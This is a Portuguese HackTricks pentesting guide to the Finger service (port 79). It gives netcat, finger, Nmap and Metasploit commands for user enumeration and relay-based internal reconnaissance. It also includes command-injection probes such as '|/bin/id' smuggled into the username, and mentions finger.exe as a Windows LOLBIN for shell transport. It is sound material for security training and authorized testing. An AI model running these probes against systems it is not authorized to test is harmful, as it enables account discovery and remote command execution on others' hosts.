79 - Pentesting Finger

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

O programa/serviço Finger é utilizado para obter detalhes sobre usuários de computador. Normalmente, as informações fornecidas incluem o nome de login do usuário, nome completo, e, em alguns casos, detalhes adicionais. Esses detalhes extras podem abranger a localização do escritório e número de telefone (se disponíveis), o horário em que o usuário fez login, o período de inatividade (idle time), a última vez em que o usuário leu o correio e o conteúdo dos arquivos .plan / .project do usuário.

Do ponto de vista de pentesting, o Finger ainda é interessante porque o protocolo é extremamente pequeno, legível por humanos, e frequentemente implementado com lógica de parsing legada. Um daemon pode divulgar:

  • usuários logados atualmente
  • nomes completos / dados GECOS
  • diretórios home, shells, últimos horários de login e TTYs
  • conteúdo dos arquivos .plan / .project
  • comportamento de relay para consultar um segundo host através do primeiro

Porta padrão: 79

PORT   STATE SERVICE
79/tcp open  finger

Enumeração

nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79         # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79  # Long format, if the daemon supports it

O protocolo é ASCII over TCP/79, normalmente terminado com CRLF, e o servidor fecha a conexão TCP após a resposta. Na prática, uma consulta nula (\r\n) costuma ser suficiente para recuperar a lista de usuários atual, que é exatamente o que o script NSE finger padrão do Nmap faz.

Enumeração de usuários

finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients

Alternativamente, você pode usar finger-user-enum do pentestmonkey, alguns exemplos:

finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

A nuance importante na enumeração Finger é que não existe formato de resposta estrito entre os daemons. Ferramentas como finger-user-enum funcionam bem contra serviços estilo Solaris porque usuários válidos e inválidos produzem layouts de texto diferentes, mas você pode precisar comparar manualmente respostas positivas e negativas e adaptar as regexes se o daemon alvo for incomum.

Sondas úteis quando o daemon não está se comportando como o Solaris/BSD padrão:

# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79

# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79

# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79

Nmap executa um script usando os default scripts

nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>

O script NSE finger do Nmap é seguro e simplesmente envia uma null query para recuperar a lista de usuários atual. Se você quiser um username guessing mais abrangente contra daemons permissivos, considere estender a abordagem com custom wordlists ou usar projetos como fat-finger.nse, que enviam múltiplos nomes de conta prováveis em uma única requisição e procuram por correspondências username/GECOS.

Metasploit usa mais truques do que o Nmap

use auxiliary/scanner/finger/finger_users

Shodan

  • port:79 USER

Execução de comandos

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

RFC 1288 permite explicitamente que implementações executem um programa controlado pelo usuário em resposta a uma consulta Finger, que é de onde vem o clássico abuso |/bin/.... Isso é raro hoje em dia, mas se você encontrar um daemon personalizado ou legado, verifique cuidadosamente por:

  • metacaracteres de shell no tratamento do nome de usuário
  • execução de |program em plan/project hooks
  • wrappers de backend que passam o nome de usuário para um script shell ou CGI

Também lembre-se do caminho de abuso client-side no Windows: finger.exe é um LOLBIN assinado que pode recuperar texto arbitrário de um servidor Finger remoto em TCP/79, e então redirecionar essa saída para outro processo. Essa técnica é mais relevante para post-exploitation do que para service enumeration, então veja the Linux reverse-shell page para a ideia de transporte de shell e mantenha-a em mente ao emular a tradecraft de um atacante.

Finger Bounce

Use a system as a finger relay

finger user@host@victim
finger @internal@external

Isto não é apenas uma peculiaridade de implementação: RFC 1288 define o encaminhamento recursivo @hostname ({Q2} queries). Se o daemon suporta relaying, o servidor intermediário abre a segunda conexão Finger por você e retorna a resposta de volta pelo socket original. Isso significa:

  • seu host pode não conectar diretamente ao alvo final
  • o relay pode ser usado para enumerar usuários internos a partir de um serviço Finger exposto
  • finger-user-enum suporta isso nativamente com -r <relay>

Exemplo:

# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79

# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Se o relaying funcionar, use-o como um internal recon primitive e compare a saída relayed com a saída direta do public daemon. Formatação ou filtragem diferentes frequentemente revelam se o relay path é tratado por um backend ou wrapper separado.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks